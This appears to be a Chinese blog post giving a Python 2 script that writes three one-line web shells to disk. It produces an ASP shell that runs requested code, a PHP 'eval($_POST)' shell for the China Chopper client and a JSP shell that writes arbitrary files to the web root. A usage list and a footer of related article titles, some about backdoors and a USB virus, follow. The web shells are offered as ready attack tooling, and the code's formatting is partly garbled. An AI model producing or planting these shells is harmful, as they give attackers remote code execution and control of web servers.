python写一个能生成三种一句话木马的脚本
代码:
import time
import os
from threading import Thread
import optparse
def aspyijuhua():
try:
juy=open('caidao.asp','w')
asp="<%IfRequest(",'1',")<>""ThenExecuteGlobal(Request(",'1',"))%>"
print '[+]Accelerated generation !'
juy.writelines(asp)
print '[+]ASP in word ,the Trojan horse is finished .'
print '[+]Password:1'
except:
print '[-]Not generate !' def phpyijuhua():
try:
php=open('caidao.php','w')
payload="<?php @eval($_POST['chopper']);?>"
print '[+]Accelerated generation !'
php.writelines(payload)
print '[+]PHP in word ,the Trojan horse is finished .'
print '[+]Password:chopper'
except:
print '[-]Not generate !' def jspyijuhua():
try:
jsp=open('caidao.jsp','w')
payload="<%if(request.getParameter(",'f',")!=null)(newjava.io.FileOutputStream (application.getRealPath(",'\\',")+request.getParameter(",'f',"))).write (request.getParameter(",'t',").getBytes());%> "
print '[+]Accelerated generation !'
jsp.writelines(payload)
print '[+]JSP in word ,the Trojan horse is finished .'
except:
print '[-]Not generate !'
def editon():
print '-a ASP in word ,the Trojan horse is finished .'
print '-p PHP in word ,the Trojan horse is finished .'
print '-j JSP in word ,the Trojan horse is finished .'
print 'Editon v.1.0'
print 'What is your Haq me, Whatever you do love you' def main():
parser=optparse.OptionParser()
parser.add_option('-a',action='store_true',dest='asp',help='ASP in word ,the Trojan horse is finished .')
parser.add_option('-p',action='store_true',dest='php',help='PHP in word ,the Trojan horse is finished .')
parser.add_option('-j',action='store_true',dest='jsp',help='JSP in word ,the Trojan horse is finished .')
parser.add_option('-v',action='store_true',dest='help',help='Editon')
(options,args)=parser.parse_args()
if options.asp:
a=Thread(target=aspyijuhua,args=())
a.start()
if options.php:
px=Thread(target=phpyijuhua,args=())
px.start()
if options.jsp:
j=Thread(target=jspyijuhua,args=())
j.start()
if options.help:
h=Thread(target=editon(),args=())
h.start() if __name__ == '__main__':
main()
运行截图:


命令:
-h 帮助
-a 生成asp一句话马
-p 生成php一句话木马
-j 生成jsp一句话木马
-v 版本
python写一个能生成三种一句话木马的脚本的更多相关文章
- Python写一个批量生成账号的函数
批量生成账户信息,产生的账户由@sina.com结尾,长度由用户输入,产生多少条也由用户输入,用户名不能重复,用户名必须由大写字母.小写字母和数字组成. def Users(num,len): # n ...
- [转]用Python做一个自动生成读表代码的小脚本
写在开始(本片文章不是写给小白的,至少你应该知道一些常识!) 大家在Unity开发中,肯定会把一些数据放到配置文件中,尤其是大一点的项目,每次开发一个新功能的时候,都要重复的写那些读表代码.非常烦.来 ...
- python每次处理一个字符的三种方法
python每次处理一个字符的三种方法 a_string = "abccdea" print 'the first' for c in a_string: print ord(c) ...
- python实现XML解析的三种方法
python实现XML解析的三种方法 三种方法:一是xml.dom.*模块,它是W3C DOM API的实现,若需要处理DOM API则该模块很适合:二是xml.sax.*模块,它是SAX API的实 ...
- Python实现微信支付(三种方式)
Python实现微信支付(三种方式) 关注公众号"轻松学编程"了解更多. 如果需要python SDk源码,可以加我微信[1257309054] 在文末有二维码. 一.准备环境 1 ...
- python写一个能变身电光耗子的贪吃蛇
python写一个不同的贪吃蛇 写这篇文章是因为最近课太多,没有精力去挖洞,记录一下学习中的收获,python那么好玩就写一个大一没有完成的贪吃蛇(主要还是跟课程有关o(╥﹏╥)o,课太多好烦) 第一 ...
- 用Python写一个简单的Web框架
一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...
- 十行代码--用python写一个USB病毒 (知乎 DeepWeaver)
昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序.查了一下,发现只有windows上可以,具体的大家也可以搜索(搜索关键词usb autorun)到.但是,如果我想, ...
- 【Python】如何基于Python写一个TCP反向连接后门
首发安全客 如何基于Python写一个TCP反向连接后门 https://www.anquanke.com/post/id/92401 0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的 ...
随机推荐
- day5-hashlib模块
一.概述 在程序开发过程中,很多时候会涉及用户信息验证环节,这类场景下我们往往需要对字符串进行加密处理.python中也有专门的加密模块,它就是hashlib.下面章节将详述它的常见用法. 二.常见加 ...
- EL表达式 分割字符串 ,forEach定次循环
后台取出来的是字符串 以 a,b,c, 的形式 前台要将字符串中的“,”去掉 ,并forEach重新拼接 list.labelsName不用加${} <c:set value=" ...
- 释伴:Linux 上的 Shebang 符号(#!)
使用Linux或者unix系统的同学可能都对#!这个符号并不陌生,但是你真的了解它吗? 本文了将给你简单介绍一下Shebang(”#!”)这个符号. 首先,这个符号(#!)的名称,叫做”Shebang ...
- 伪变量foo foober是什么意思
原文: The terms foobar, foo, bar, baz and qux are sometimes used as placeholder names (also referred t ...
- UIView常用属性与方法/UIKit继承结构
UIView常用属性与方法 @interface UIView : UIResponder<NSCoding, UIAppearance, UIAppearanceContainer, UIDy ...
- Linux中查看各文件夹大小命令:du -h --max-depth=1
Linux中查看各文件夹大小命令:du -h --max-depth=1 du [-abcDhHklmsSx] [-L <符号连接>][-X <文件>][--block-siz ...
- Head First HTML与CSS 学习笔记
1.使用<a>元素创建一个超文本链接,链接到另一个Web页面.<a>元素的内容会成为Web页面中可单击的文本.href属性告诉浏览器链接的目标文件. 2.块元素特立独行,内联元 ...
- Kotlin Android Extensions (译文)
原文链接: http://kotlinlang.org/docs/tutorials/android-plugin.html Kotlin Android Extensions 本教程介绍如何使用Ko ...
- Azure Sql Database为某个数据库创建单独的访问账户
由于SQL Management Studio对Azure SQL Database支持不完美,不能使用图形界面,因此配置数据库就会有不同的麻烦,下面是本人配置访问账户的一些经验: 1.以管理员登陆之 ...
- RPi 3.5寸 电阻屏
/***************************************************************************** * RPi 3.5寸 电阻屏 * 说明: ...